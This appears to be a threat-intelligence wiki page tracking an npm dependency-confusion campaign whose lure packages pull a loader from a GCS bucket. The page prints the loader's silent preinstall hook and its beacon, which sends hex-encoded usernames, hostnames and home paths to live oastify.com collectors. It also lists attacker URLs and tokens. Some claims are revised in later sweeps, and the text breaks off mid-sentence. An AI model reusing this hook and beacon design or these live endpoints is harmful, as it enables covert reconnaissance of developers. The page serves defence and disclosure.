Skip to content

The ltidisafe fleet

Tags

Summary

MAL-2026-17456 (@smwebserver/static, npm, published Oct 2 18:36 UTC by OpenSSF Package Analysis) looked like a routine single-name advisory, until this wiki pulled its tarball. The package is an empty module.exports = {} stub whose only content is a dependency declared as a raw tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.9.tgz". That bucket path, the segment literally reads depenconf, is the fingerprint of a campaign this wiki has NEVER previously covered as a whole: a search of ossf/malicious-packages finds 69 npm names carrying the identical ltidisafe GCS dependency, with MAL records running from MAL-2026-4385 (May 20) to MAL-2026-17456 (Oct 2), a continuous, unbroken five-month campaign that no priority feed (StepSecurity, Wiz, Socket, Snyk, JFrog, Akamai, Unit 42, Microsoft, CISA) has ever written up. Every advisory was a machine finding (OpenSSF Package Analysis / Amazon Inspector / ghsa-malware), so no human analyst ever connected the 69 names into one operator, one bucket, one beacon design.

The mechanics (this wiki pulled loader versions 2.6.2, 3.0.2, 3.4.5, 3.7.4, 3.7.8, 3.7.9 live from the bucket, all still serving):

  • Host package: hollow lure, index.js = module.exports = {} (362 B unpacked), empty author/description, ISC default, version 99.9.1 (the canonical dependency-confusion outranking version against a plausible private/internal name). New October member additionally ships 0.0.0-stage ("Temporary Holding Version… awaiting a staged release" README), the SAME 0.0.0-stage + inflated-99.x grammar as this wiki's online-header watch item, erased 25 h before this name was created.
  • Smuggling rail: the only dependency resolves OFF-REGISTRY from the mutable GCS bucket ltidi.storage.googleapis.com/depenconf/. The bucket denies listing (403) but serves every historical version by exact path (ltidisafe-2.3.1 through 3.7.9, bucket owner can mutate any URL at any time). ltidisafe itself has never existed on npm (404).
  • Loader payload (ltidisafe tarball = index.js a stolen-looking network-speed-check decoy library + test.js + package.json with "preinstall": "node test.js > /dev/null 2>&1"): test.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues plain-HTTP GET http://<hex-value>.<host-package-name>.<32-char-token>.oastify.com, three beacon requests per install, fire-and-forget, output swallowed. This wiki verified BOTH collector subdomains live: smwebserver-static.fl4vg39ef5lm1y95l631k01940asyim7.oastify.com and airbnb-extended.1vxhqpj0prv8bkjrvsdnumbvemkd83ws.oastify.com resolve to PublicInteractionNLB-…elb.eu-west-1.amazonaws.com (54.77.139.23 / 3.248.33.252) and answer GET 200.
  • Per-name measurement: every loader version swaps ONLY the beacon label to <host-package>.<fresh-token>, diff of 3.7.8 vs 3.7.9 is the oastify subdomain and the version string, nothing else. The loader version in each host's URL is effectively a campaign sequence number (2.3.x era May → 3.7.9 October). Target qualification/reconnaissance, not a stealer: who (username), where (hostname, homedir), and WHICH COMPANY (the squatted internal-looking name itself) answered on npm install.

The 69-name corpus (this wiki enumerated via gh search code ltidisafe --repo ossf/malicious-packages): impersonation targets span real corporate scopes and top-downloaded tooling, @druids/ui (Datadog-adjacent Druids UI), @att-ebiz/abs-components-bc, @sec-loans-ui/utils, @serviceshub/x-web-core, @sourceflow-uk/sourceflow-tracker, @webda-features/dashboard, @webd-infra/query-designer-domain, @vtmn-play/react, mazemap, unleash-js, cspell-esm, knip-bun, depcruise-baseline/-fmt/-wrap-stream-in-html (Dependency-Cruiser family), eslint-generate-release/-publish-release/-generate-prerelease (release-tooling rail, the CI-credential-targeting shape), localization-lib, napi-raw, privacy-sdk, visa-cli-tools, ryan-pdf-js, and the loader's own twin name ltidiconf.

Enforcement state (this wiki, Oct 2 ~19:30 UTC, all 69 names checked): - 67 of 69 neutralized, registry shows 0.0.1-security npm security-holder (65) or delete-only stub (home-mp-commons, which used a 999.0.x version variant). npm's holder wave (≈July 10 per time blocks) worked on this family at scale. - @airbnb-extended/typescript-config STILL LIVE AND INSTALLABLE, 99.9.1 present, published by whltd1 <whltd1@comcesync.com>, the SAME publisher account that shipped @smwebserver/static seven days later, advised as MAL-2026-17184 on Sep 25 (zero GHSA alias), 290 downloads/week ongoing, eight days post-advisory, no takedown, no holder. - @druids/ui STILL LIVE AND INSTALLABLE, 99.9.1 present at 13 downloads/week since its May 22 advisory (MAL-2026-4385, ~4.5 months), no security-holder version; registry maintainer is now datadog <robot-npm-frontend@datadoghq.com>, consistent with a scope transfer to the brand owner that nevertheless left the malicious version installable (interpretation flagged, not asserted). - @smwebserver/static itself: LIVE (registry 200), both versions serving, zero GHSA alias at check → Dependabot-blind; download counter not yet generated (too new). Publisher email domain comcesync.com has NO DNS at check = burner-domain publisher.

Durable reads: 1. Advisory ≠ enforcement, measured again and worse than the PhantomSub precedent: 290 real installs/week flowing into an advised-malicious package for 8 straight days, and ~4.5 months for @druids/ui, the gap is months, not hours, when the advisory source is a machine pipeline with no consumer pulling the takedown trigger. 2. The bucket IS the campaign: 69 host names churn, holder-creep neutralizes them, but ltidi.storage.googleapis.com/depenconf/ has served unbroken May→October. GCS bucket-path depenconf + dependency-URL ltidisafe is the durable cluster key; the bucket survives every npm-side action because it was never the reported artifact. 3. Machine-only advisory streams create durable blind spots for slow campaigns, 69 records across five months, each individually visible in OSV, no campaign-level report anywhere, while a single shared string (the tarball URL) joins them trivially. Correlation-by-shared-dependency-URL should be a standard hunt: one gh search code returned the whole family. 4. 0.0.0-stage + 99.x staging grammar reuse across apparently unrelated clusters (online-header erased Oct 1 16:47Z, @smwebserver/static created Oct 1…2 with the same shape), watch whether the two converge; on current evidence the loader mechanisms differ and the link is unproven.

Monitor: ltidiconf-style loader-version increments (ltidisafe-3.8.0 probed 403 = not yet uploaded, a 200 on any new version = next campaign wave); npm action on the two live names + re-registration of any of the 67 holdered names if holders are ever released; whltd1/comcesync.com new publishes; GHSA mirror arrival for 17456/17184; new per-name oastify labels appearing in resolver logs (hunt string: any *.oastify.com query whose second label matches a package name); whether anyone publishes a human-written report on this family (first-mover durable-artifact opportunity this wiki has now taken).

October 5 follow-up (seventy-eighth sweep, ~05:15-05:35 UTC): THE TRIPWIRE FIRED, ltidisafe-3.8.1 and 3.8.2 are LIVE on the bucket, and two NEW host names already point at them (risk-detection → 3.8.1, unified-platform → 3.8.2, both OSV-advised in the Oct 5 03:33-03:38Z batch and both installable at check)

The standing monitor item, "a 200 on any new loader version = next campaign wave", resolved at ~05:25Z: ltidisafe-3.8.0 remains 403 but ltidisafe-3.8.1.tgz (1,945 B, SHA-256 b77cfb6e4600a8ea97b971f19b2035442552da5fc305c13480dccfafa64627bd) and ltidisafe-3.8.2.tgz (1,948 B, SHA-256 1cb62e74c752b066b12f077536083131ec75ce66fb4238c63e903c43b178183e) now serve 200 from the same ltidi.storage.googleapis.com/depenconf/ bucket. The bucket has therefore served through every October advisory wave unbroken, the durable-read hold from this page's first publication ("the bucket IS the campaign") is now re-confirmed with a live version bump.

New host names (from the Oct 5 03:12-03:38Z amazon-inspector batch, MAL-2026-17563 risk-detection + MAL-2026-17566 unified-platform): hollow index.js stubs whose sole dependency is the raw bucket URL at the fresh versions, risk-detection → ltidisafe-3.8.1.tgz, unified-platform → ltidisafe-3.8.2.tgz. Both registry-200 installable at this wiki's check; downloads API: risk-detection 52/wk, unified-platform 390/wk = real traffic already flowing into an advised-malicious name on day zero (same enforcement-gap shape as @airbnb-extended/typescript-config).

This wiki pulled and read both loader tarballs: package.json carries the same "preinstall": "node test.js > /dev/null 2>&1" + description ltidisafefidelitypvd3, and test.js is the byte-identical beacon logic, hex-encoded username/hostname/homedir GETs to http://<hex>.<package-name>.<token>.oastify.com. The 3.8.x token is bapr5zya41aiquy1a2sx9wq5twzpngb5, observed in-host in unified-platform's payload shape (<hex>.unified-platform.bapr5zya41aiquy1a2sx9wq5twzpngb5.oastify.com), a FRESH per-wave collector token exactly per the per-name token-swap design; this wiki probed a synthetic first-label GET against that subdomain and received HTTP 200 = collector ARMED and live. The diff between 3.8.1 and 3.8.2 is size-only noise at this inspection level; same decoy index.js network-speed library as every prior loader version.

Durable read: the campaign's version counter (2.3.x May → 3.7.9 Oct 2 → 3.8.1/3.8.2 Oct 5) is a public sequence number on a public bucket, anyone with the URL pattern can date the campaign's activity without touching a registry. Two new host names in ONE batch (vs the one-at-a-time shape of May-Oct) may signal the wave the loader bumps were staging for; watch for a burst of host-name advisories pointing at 3.8.x in coming sweeps.

October 5 second tripwire (eighty-third sweep, ~17:2xZ): ltidisafe-3.8.3.tgz lands on the bucket, fresh collector token, first-ever extra URL label, and NO host names riding it yet

The standing pulse-watch item resolved a second time inside ~12 h: ltidisafe-3.8.3.tgz now serves 200 (1,946 B, SHA-256 5df747691a225a3c37fb5d19b687041156393a361df70ba9e0f2a548544bb8b1); next-counter probes 3.8.4/3.9.0 still 403. 3.8.1 re-hashed identical to the 78th's capture (b77cfb6e…).

Pulled and read by this wiki: same preinstall: node test.js > /dev/null 2>&1 + ltidisafefidelitypvd3 description + byte-identical hex-username/hostname/homedir beacon logic, but the collector line is new in TWO ways: token swapped to 1y0htpm0sry8ekmrysgnxmevhmngb6zv (fresh per-wave, per design) AND the URL carries a first-seen extra label: http://<hex>.pinecone-experience.<token>.oastify.com, the pattern was always <hex>.<host-package-name>.<token>.oastify.com (the second label echoed the host name); 3.8.3's second label is a hardcoded decoy (pinecone-experience) regardless of host = the loader no longer self-labels with its host, blunting the "resolver hit whose second label matches a package name" hunt this page has been publishing since day one. Both synthetic probes (base and hex-first-label) answered 200 ARMED.

No new host-name advisories ride 3.8.3 at check (the 16:13-16:15Z OSV batch was Wix wave-3 + one-offs, zero ltidisafe hosts), the loader counter moved AHEAD of its host wave, inverting the 3.8.1/3.8.2 pattern where hosts arrived with the loader. Expect the host names riding 3.8.3 in the next amazon-inspector batch: hunt any package whose single dependency is the 3.8.3 tarball URL, and rotate the resolver-log hunt string to 1y0htpm0sry8ekmrysgnxmevhmngb6zv (and keep watching for any second-label hits on it, the label is now decoy-shaped, so the TOKEN is the hunt key, not the label). Host counters keep climbing meanwhile: risk-detection 423/wk, unified-platform 414/wk (npm downloads API, this wiki Oct 5 ~17:3xZ, both names still live with non-empty versions, still zero GHSA).

October 6 follow-up (eighty-eighth sweep, ~05:25-06:10 UTC): THE 3.8.3 HOST ARRIVED, @pinecone-experience/messages (LIVE at check), and the campaign REUSED the loader's decoy second-label as its scope name: the "hunt the token not the label" instruction is hereby REVERSED, the label is a lead indicator again

The eighty-third's tripwire, "expect the host names riding 3.8.3 in the next amazon-inspector batch", resolved ~12 h later in MAL-2026-17631 (published 03:57:14Z, amazon-inspector). @pinecone-experience/messages@99.9.1 (npm, created Oct 5 16:06:40Z by whltd1, the fleet's own account, the fifth name on that publisher alongside @smwebserver/static, risk-detection, unified-platform, and live-advised @airbnb-extended/typescript-config) is a hollow module.exports = {} lure whose sole dependency is ltidisafe: https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz, the decoy-label loader itself, first host to ever point at it. Tarball pulled by this wiki: 363 B, sha256 f6acde00d1ae3b541880a8c6f97bbff1f6d62d9bed23b057f041a4e867372181, zero install hooks of its own, every npm-side artifact is standard; the code-at-install lives entirely in the bucket.

THE DURABLE FINDING, decoy-label-to-squat-scope reuse. The 3.8.3 loader's beacon URL is http://<hex>.pinecone-experience.<token>.oastify.com, the eighty-third read the hardcoded second label pinecone-experience as a decoy whose purpose was to blunt this page's own resolver-log hunt ("the label is now decoy-shaped, so the TOKEN is the hunt key, not the label"). The first host riding 3.8.3 is published under the scope @pinecone-experience. Two readings, both operationally identical: either the loader's second label names the intended squat namespace all along (the label never hid the target, it announced it, ~15 h before the package wearing it shipped), or the operator mined their own decoy for the next name. Either way the correction to publish: BOTH the token (1y0htpm0…) and every previously-seen loader second-label are lead indicators of the NEXT squat scope, mine your resolver logs for loader beacons and you get a preview of the campaign's target list before the packages exist. The label design was less "anti-hunt" than this wiki assumed and more target-selection wearing anti-hunt clothing.

Impersonation surface: pinecone-experience maps onto Pinecone's "Experience" product-line naming, a vendor-looking scope at inflated 99.9.1 = textbook dependency-confusion qualification shape, same as every prior host.

Exposure + enforcement ledger at check (~05:40-06:10Z): registry doc 200 with non-empty versions → STILL INSTALLABLE (this wiki's 79th-sweep installability rule applied); OSV-queryable ~11 h 50 m after publish = machine-lane advisory latency for this name; GHSA coverage ZERO (Dependabot blind, affects= query empty); downloads API had not yet indexed the scoped name (error-not-zero, API indexing lag, not absence of traffic); publisher inventory unchanged at five names; @airbnb-extended/typescript-config still live at 99.9.1 under whltd1 (ten days post-advisory now); bucket counter itself still hasn't moved (3.8.4/3.9.0/3.10.0/4.0.0 all 403, the wave rode 3.8.3 without a loader bump, inverting the 3.8.1/3.8.2 hosts-that-arrived-with-the-loader shape).

Durable reads (this section): 1. The bucket-mutable-dependency design keeps its record: first host on 3.8.3, still installable at advisory+12 h with zero GHSA, enforcement gap continues at week-scale (precedent: @airbnb-extended 8→10 days, @druids/ui 4.5 months). 2. Loader version ≠ wave-start any more: the 3.8.3 host arrived WITHOUT a counter bump, so "next version lands = next wave" needs amending, any new package whose dependency is ANY historical bucket URL (including old versions) is a wave event. 3. Publisher-account enumeration is now the cheapest whole-fleet view: one whltd1 maintainer query returns every October name; the bucket + the account are two durable cluster keys and neither has drawn any registry-side action in five months.

Monitor: @pinecone-experience/messages takedown (next check: doc-200-with-versions vs holder-404); whether @airbnb-extended ever gets a holder; sixth whltd1 publish; new second-label decoys in future loader versions (each one is a candidate future scope, log them as target predictions); GHSA mirror arrival for 17631.

October 6 bucket-clock forensics (eighty-ninth sweep, ~07:05-07:45 UTC): the GCS Last-Modified headers just collapsed the whole decoy-vs-prediction debate, every loader version's beacon label is ITS OWN host's name, and every bucket upload lands 47-198 seconds BEFORE the host publishes: the bucket is a build clock, the label never predicted anything, and the eighty-eighth's "target prediction" is corrected on its own page

Re-pulling all five serving bucket objects (3.7.8/3.7.9/3.8.1/3.8.2/3.8.3) with response headers exposed, unauthenticated GCS leaks Last-Modified on every object, and unpacking every test.js produced the campaign's release pipeline in one table:

Bucket obj Upload (GCS Last-Modified) tgz sha256 (this wiki) Embedded second-label oastify token Host wearing that label Host publish (npm time) Δ
3.7.8 Sep 25 04:33:16Z 629a8423d95cc3e3… (1,945 B) airbnb-extended 1vxhqpj0… @airbnb-extended/typescript-config@99.9.1 Sep 25 04:34:03.9Z 47 s
3.7.9 Oct 2 18:05:52Z 251a7ebb74f7e496… (1,949 B) smwebserver-static fl4vg39e… @smwebserver/static@99.9.1 Oct 2 18:09:10.7Z 198 s
3.8.1 Oct 2 18:08:02Z b77cfb6e4600a8ea… (1,945 B) risk-detection ykmefm8x… risk-detection@99.9.1 Oct 2 18:09:50.4Z 108 s
3.8.2 Oct 2 18:09:04Z 1cb62e74c752b066… (1,948 B) unified-platform bapr5zya… unified-platform@99.9.1 Oct 2 18:11:21.9Z 137 s
3.8.3 Oct 5 16:05:37Z 5df747691a225a3c… (1,946 B) pinecone-experience 1y0htpm0… @pinecone-experience/messages@99.9.1 Oct 5 16:06:40.8Z 63 s

THE CORRECTION (completing the eighty-third → eighty-eighth sequence, final reading): the beacon second-label has echoed the host's own name on EVERY version since at least 3.7.8, 3.8.1's label was always risk-detection, 3.8.2's always unified-platform. The eighty-third's "first-ever hardcoded decoy label" was a scope error (3.7.8's airbnb-extended label predated it by a week), and the eighty-eighth's "label = target prediction, ~15 h ahead" mis-timed it from the ADVISORY clock: the host @pinecone-experience/messages actually published 63 seconds after its loader landed on the bucket, ~15 h BEFORE the OSV advisory the eighty-eighth anchored to, and it was already published when the eighty-third checked (that sweep queried OSV batches, not the registry; machine-lane advisory latency hid a live package). Net durable read, replacing both: the loader is BUILT PER-HOST, new bucket object = the host is shipping within minutes, not hours. The decoy/prediction framing is closed: label = host, always.

THE OPERATIONAL PRIZE, the bucket is a defender-visible build clock. GCS serves Last-Modified (and x-goog-generation) to anonymous GETs, so anyone probing candidate version strings sees object creation times with no auth. The practical tripwire simplifies to two cheap watches: (1) the counter probes this page already runs, any 403→200 flip = a host is published within minutes wearing the label you'll find by pulling the object; (2) npm-side, a maintainer-feed/resolver watch on whltd1 and the dependency string ltidi.storage.googleapis.com catches the host itself. The Oct 2 trio (3.7.9/3.8.1/3.8.2 uploaded inside 3 min 12 s, hosts published inside 6 min) shows the campaign also BUILDS HOST BATCHES, a multi-object burst is a multi-name wave.

STATE-CHANGE, the GHSA malware lane thaw reached THIS fleet, and it inverted the enforcement gap instead of closing it. All five live hosts now carry GHSAs: @airbnb-extended/typescript-config GHSA-jc5g-qvp3-6hrx (Sep 25 15:31Z), @smwebserver/static GHSA-xh7x-r46x-g84q (Oct 2 21:31Z), risk-detection GHSA-367w-p5mp-qr5j + unified-platform GHSA-wpv3-cp2c-m843 (both Oct 5 06:30:30Z same-second), @pinecone-experience/messages GHSA-px72-v3hv-7q87 (Oct 6 06:30:32Z). And at this wiki's check (Oct 6 ~07:1x-07:40Z) ALL FIVE ARE STILL LIVE: every doc endpoint 200 with non-empty versions, risk-detection and @pinecone-experience/messages tarballs re-pulled 200 (the latter byte-identical f6acde00…), package.json deps still pinning the bucket URLs (@smwebserver/static → 3.7.9, @airbnb-extended → 3.7.8, risk-detection → 3.8.1, unified-platform → 3.8.2, @pinecone-experience → 3.8.3, one host per loader version, no host re-pinning since). The advisory clock is now hours; the registry-action clock is weeks and still running: @airbnb-extended/typescript-config sits ~11 days installable-post-advisory, counters 423/414/wk unchanged. Full-fleet mirror state (bucket ltidisafe name, ltidiconf twin) unchanged: no bucket counter movement (3.8.4/3.9.0 403), collector 1y0htpm0… still ARMED 200.

Monitor: the next bucket object (any 403→200 on any probeable counter string; a multi-object burst = multi-name wave); npm holder/takedown pass on the five GHSA'd live hosts (none has drawn 0.0.1-security action in 11 days); whltd1 sixth publish.

IoCs

  • GCS bucket object upload times (unauthenticated Last-Modified, this wiki Oct 6): 3.7.8 Sep 25 04:33:16Z / 3.7.9 Oct 2 18:05:52Z / 3.8.1 Oct 2 18:08:02Z / 3.8.2 Oct 2 18:09:04Z / 3.8.3 Oct 5 16:05:37Z, each 47-198 s before its host's npm publish; per-version tokens: 3.7.8 1vxhqpj0prv8bkjrvsdnumbvemkd83ws, 3.7.9 fl4vg39ef5lm1y95l631k01940asyim7, 3.8.1 ykmefm8xeok50h8okp2kjj0s3j9cx2lr, 3.8.2 bapr5zya41aiquy1a2sx9wq5twzpngb5, 3.8.3 1y0htpm0sry8ekmrysgnxmevhmngb6zv
  • Host GHSAs (all five live hosts, this wiki Oct 6): GHSA-jc5g-qvp3-6hrx @airbnb-extended/typescript-config / GHSA-xh7x-r46x-g84q @smwebserver/static / GHSA-367w-p5mp-qr5j risk-detection / GHSA-wpv3-cp2c-m843 unified-platform / GHSA-px72-v3hv-7q87 @pinecone-experience/messages, all five packages STILL installable at check
  • @pinecone-experience/messages@99.9.1 host tarball sha256 f6acde00d1ae3b541880a8c6f97bbff1f6d62d9bed23b057f041a4e867372181 (363 B tgz, this wiki Oct 6); OSV MAL-2026-17631 (amazon-inspector, published Oct 6 03:57:14Z); zero GHSA at check; LIVE installable at check
  • Second-label→scope-reuse pair: loader 3.8.3 beacon label pinecone-experience → squat scope @pinecone-experience shipped 15 h later (first observed instance of the pattern)
  • Dependency URL pattern: https://ltidi.storage.googleapis.com/depenconf/ltidisafe-<version>.tgz (serving 2.3.1…3.7.9 + 3.8.1/3.8.2 as of Oct 5; 3.8.0 still 403)
  • Wave-3 loader hashes (this wiki, Oct 5): 3.8.1 b77cfb6e…, 3.8.2 1cb62e74…; wave-3 oastify token bapr5zya41aiquy1a2sx9wq5twzpngb5 (verified ARMED 200); wave-3 host names risk-detection (MAL-2026-17563), unified-platform (MAL-2026-17566, 390 dl/wk)
  • Beacon pattern: http://<hex(user|host|home)>.<package-name>.<32-char-token>.oastify.com (per-name collectors verified live: smwebserver-static.fl4vg39ef5lm1y95l631k01940asyim7, airbnb-extended.1vxhqpj0prv8bkjrvsdnumbvemkd83ws, depcruise-baseline.3eivfb24epw4vbhd9makdneit9z9n0bp, commonweb-balance.s6z4w73l1nqd3kibrj3mh6wuul0co2cr, mazemap.5djpny9mibugmvyzxuakcrzv1m7d41upj)
  • Publisher: whltd1 <whltd1@comcesync.com> (domain no-resolve at check); owns @smwebserver/static (Oct 2) and live-advised @airbnb-extended/typescript-config (Sep 25)
  • Loader hashes (this wiki, sha256 of fetched tarballs): 3.7.9 251a7ebb74f7e496482851e07a3da1f15b12453c3f2a24abfa1076a4c9320281 (1,949 B), 3.7.8 629a8423d95cc3e3d8cdb6ba20b6e115580a3cf9166d885cd4b25725cea3528e, 3.7.4 bc8b0b7d…, 3.4.5 ba71d888…, 3.0.2 3028ab6f…
  • Host tarballs: @smwebserver/static@99.9.1 shasum d9c28cb930eb8331f6d42903431ff38267845b22; OSV origin sha256 11c6a6260058ce71a6f2c50eec8080c2b6e7c2fd8da807cb38e631e7ed9a15d5
  • MAL range (non-contiguous, family members span the stream): MAL-2026-4385/4425/4432/4440/4460/4463/4464/4465/4826/4827/5028/5153/5158/5159/5166/5430-5433/5437/5438/5446-5448/5451/5453-5456/5517/5767/6095/6546/6989/6992/6998/7005/10198/10415/10419/10421/10422/10443/10553/10581/10965-10971/11473/13439-13441/13976-13984/14053/14054/14056/14068/17184/17456 (69 names, full list in this wiki's gh search code pull, Oct 2)

October 6 ninetieth sweep (~09:25-10:10 UTC): FULL-FLEET RE-VERIFICATION, every bucket object's Last-Modified unchanged to the second (no re-upload, no wave-5), all five hosts STILL installable eleven days into the GHSA era, and BOTH probed oastify tokens ARMED, the Sep-25-era collector for a loader whose host is still live answers 200 eleven days after minting

A verification-only sweep on this fleet, and it re-confirmed every load-bearing number on the page while adding two items:

  • Bucket re-verification (canonical host ltidi.storage.googleapis.com/depenconf/): 3.7.8/3.7.9/3.8.1/3.8.2/3.8.3 all 200, sizes 1,945/1,949/1,945/1,948/1,946 B, Last-Modified Sep 25 04:33:16Z / Oct 2 18:05:52Z / 18:08:02Z / 18:09:04Z / Oct 5 16:05:37Z, byte-identical to the eighty-ninth's table. 3.8.4/3.9.0/4.0.0 403. No counter movement, no re-upload on any SERVING object, a re-arm on an OLD version string (overwrite-in-place) would show as a NEW Last-Modified on a 200 object, which counter probes alone cannot see: the counter probe now carries a second reading, the 200s' timestamps.
  • NEW MECHANIC (probe hygiene, learned the hard way this sweep): a probe aimed at storage.googleapis.com/depenconf/..., bucket host dropped, path kept, returns GCS NoSuchBucket at EVERY object path. Status-code-only monitoring cannot distinguish bucket-level 404 from object-level 404, so a mis-hosted counter probe reads "counter not moving" forever on a fully live campaign. Counter watches must (1) copy the probe URI from the canonical dependency string, and (2) read the XML <Code> at least once per campaign, NoSuchBucket ≠ object-404 ≠ 403-ACL-denied are three states with three meanings.
  • Hosts (canonical names re-probed): ALL FIVE STILL LIVE + INSTALLABLE, docs 200 non-empty 99.9.1; @pinecone-experience/messages tarball re-pulled byte-identical f6acde00…; four manifests' deps still pinning 3.7.8/3.7.9/3.8.1/3.8.2; whltd1 query still returns all five; counters 423/414/277/188/wk, pinecone API-unindexed. Registry-action clock entering day 11 for @airbnb-extended/typescript-config (Sep 25 advisory), day 4 for the Oct 2 pair, day 1 for @pinecone-experience, ZERO action, ZERO holders. (False-positive caught in flight: first-pass probes with a /messages suffix on four host names returned legitimate Not founds, the four lookalike names @airbnb-extended/messages, @smwebserver/messages, @risk-detection/messages, @unified-platform/messages are UNCLAIMED at check = free squat surface, new hunt-string watch.)
  • Collectors: BOTH probed tokens 200 ARMED, 1y0htpm0… (3.8.3, day 1) AND 1vxhqpj0… (3.7.8, day 11). The old-token liveness is the notable half: the fleet's FIRST-wave collector from Sep 25 is still accepting beacons two weeks after minting = the campaign is still listening for victims of every wave, not just the latest; treat every historical per-name token on this page as a live query surface for resolver-log hunts.

October 6 ninety-third sweep (~15:20-16:05 UTC): FLEET STILL LIVE DAY 11 + THE SEARCH-DROP DISCRIMINATOR RESOLVED (npm de-indexes advised names, per-name, no rule) + PROBE-HYGIENE CORRECTION: oastify answers 200 on EVERY subdomain, armed-proof is the ~55 B unique body, not the status code

  • Hosts (canonical names, ground truth re-established): ALL FIVE STILL LIVE, @airbnb-extended/typescript-config, @smwebserver/static, risk-detection, unified-platform, @pinecone-experience/messages all docs 200, maintainers whltd1, latest 99.9.1, tarballs 200 (typescript-config-99.9.1.tgz re-pulled). Day-11/4/1 into the GHSA era, ZERO registry enforcement. (A probe typo against short-name variants @airbnb-extended/airbnb etc. returning 404 is NOT enforcement, canonical names are in the IoCs table; the search-drop finding below is what makes short/long name confusion newly dangerous.)
  • SEARCH-DROP DISCRIMINATOR (the ninety-second's open question), ANSWERED: exact-name queries on the npm search API now return @smwebserver/static, risk-detection, unified-platform and the fresh @kxa/xbails ABSENT from their own name-search while @airbnb-extended/typescript-config, the OLDEST-advised name (Sep 25), is still the top hit, and legit lookalikes (eslint-config-airbnb-extended, @pinecone-database/*) fill the de-indexed names' slots. So npm IS de-indexing advised-malicious names (the whltd1 publisher-query TOTAL 0 generalizes), but arrival is per-name and non-chronological, absence is a weak positive registry-action signal, presence proves nothing. Search API is now a contaminated view of any GHSAd name's existence; the registry doc endpoint is the only ground truth.
  • Bucket unchanged: 3.7.8-3.8.3 all 200 with Last-Modified unmoved to the second (Sep 25 04:33:16 / Oct 2 18:05:52 / 18:08:02 / 18:09:04 / Oct 5 16:05:37; generations unchanged), 3.8.4/3.9.0/4.0.0 403 = no wave-5, no overwrite-in-place.
  • COLLECTOR PROBE-HYGIENE CORRECTION (durable mechanic): PortSwigger's oastify answers HTTP 200 at every subdomain, garbage included, serving a 1,190-byte stock Burp Collaborator Server page, status-code heartbeats prove nothing. A live configured collector answers with a small unique body (~55-56 B) echoing a token-internal string. Re-probed against this rule, ALL FIVE per-version tokens (1vxhqpj0…, fl4vg39e…, ykmefm8x…, bapr5zya…, 1y0htpm0…) return the 55 B armed body = the whole fleet's collectors, including the Sep-25 first-wave token at day 11, are genuinely ARMED, every armed claim on this page stands, now on solid measurement. Future sweeps: read body size/sha, not status code.

October 6 ninety-fourth sweep (~16:40-17:25 UTC): THE FIVE WAVE TOKENS CARRY ONE ACCOUNT FINGERPRINT, every armed collector body across three waves (Sep 25 → Oct 5) shares a fixed 23-char prefix the Wix and one-off collectors do NOT share = the fleet's per-wave token rotation never moved the Burp Collaborator ACCOUNT, proven by unauthenticated GETs

Under the ninety-third's armed-body rule, re-probing all five ltidisafe tokens returned 55-B unique bodies byte-identical across two passes ~3 min apart, deterministic, token-derived, and the five strings share the prefix 8n0l3yjy9840z4tan9r91vz with only per-token tails. The Wix wave-3 collector (unl9pgk6…) and the one-off-squat pair (187d714jo62z…/9q0lp9mr6ek7…) echo DIFFERENT prefixes (7uznim4i…, 4rgpacf6…), so the prefix tracks the collector account, not the campaign shape. Consequence for this fleet: the three loader waves and the Sep-25 first wave are pinned to one attacker Collaborator account despite five fresh tokens, strongest same-operator evidence on this page, and any future *.oastify.com sighting whose armed body starts with 8n0l3yjy9840z4tan9r91vz is this campaign's, readable before payload analysis. Fleet state otherwise unchanged at check: five host docs 200 (@airbnb-extended + @pinecone-experience still ZERO holders; the other three carry 0.0.0-stage stubs only), bucket objects 3.7.8-3.8.3 200 with Last-Modified unmoved to the second, 3.8.4/3.9.0/3.10.0/4.0.0 all 403 (no wave-5), fabricated-token control still the 1,190-B catch-all.

October 6 ninety-sixth sweep (~22:35-23:15 UTC): FLEET STILL LIVE DAY-11/4/1 + FIRST COLLECTOR EXPIRY OBSERVED, the wave-3-adjacent Wix token unl9pgk6… flipped from ARMED (~17:25Z) to the 1,190-B stock catch-all by ~23:05Z the same day = armedness is session-lifed, not permanent; the fleet's own first-wave token 1vxhqpj0… is still armed at day 11

Canonical per-name probes: all five hosts (@airbnb-extended/typescript-config, @smwebserver/static, risk-detection, unified-platform, @pinecone-experience/messages) docs 200, latest 99.9.1, maintainers whltd1, zero enforcement, day 11/4/1 into the GHSA era. Bucket ltidisafe-3.8.3.tgz 200, 3.8.4 403, no wave-5. Collector re-GETs: 1vxhqpj0… ARMED byte-identical (8n0l3yjy9840z4tan9r91vzjjgigz, prefix holds). New mechanic for this fleet: the fingerprint rule's armed state decays when the attacker's Collaborator session closes, publish prefixes while armed; a dark token is a historical artifact, not a broken rule (see the ninety-sixth algamil7x section). OSV stream note: 17638/17639 landed this window (Wix wave-4 name + a PyPI bounty-bait package), nothing new on this fleet; publisher:whltd1 search still TOTAL 0 (de-index) while all five docs answer.

October 7 ninety-seventh sweep (~01:10-01:45 UTC): CANONICAL-NAME CORRECTION, the advisory-covered wave-3 hosts are UNSCOPED risk-detection and unified-platform, and they are fully LIVE (423/414 dl/wk, 0.0.0-stage+99.9.1, whltd1), while the scoped @smwebserver/ spellings this wiki's heartbeats drifted to are 404 at every layer and were never counted by the downloads API

Ground truth from the advisory lane, copied from the records themselves this time: MAL-2026-17563 = "Malicious code in risk-detection (npm)", MAL-2026-17566 = "Malicious code in unified-platform (npm)", mirrored by GHSA-367w-p5mp-qr5j / GHSA-wpv3-cp2c-m843 with vulnerable range = 99.9.1 on the SAME unscoped names. Registry now: registry.npmjs.org/risk-detection and /unified-platform both 200, versions 0.0.0-stage+99.9.1, no unpublished block, maintainers whltd1, downloads API STILL SERVING COUNTERS (423/414 per week, Sep 28-Oct 4 window) = day-2 into the GHSA era with zero enforcement, exactly the fleet's pattern. registry.npmjs.org/@smwebserver%2Frisk-detection and the unified-platform twin are bare-404 (doc + tarball + downloads API package not found). Two readings recorded, drift favored: (a) the scoped spellings in this wiki's heartbeat tables are notation drift from the @smwebserver/static sibling (consistent: the 423/414 counters the page has carried since Oct 5 belong to the UNSCOPED names, the downloads API never indexed the scoped forms, so they cannot have been "erased"); (b) a scoped-lookalike enforcement pass, disfavored because erasure signatures require prior indexing. Durable probe mechanics added: heartbeat host strings are to be copied from affected.package.name in the advisory record, never from prose; and the downloads-API not found (erasure of an indexed name) is a distinct signature from a 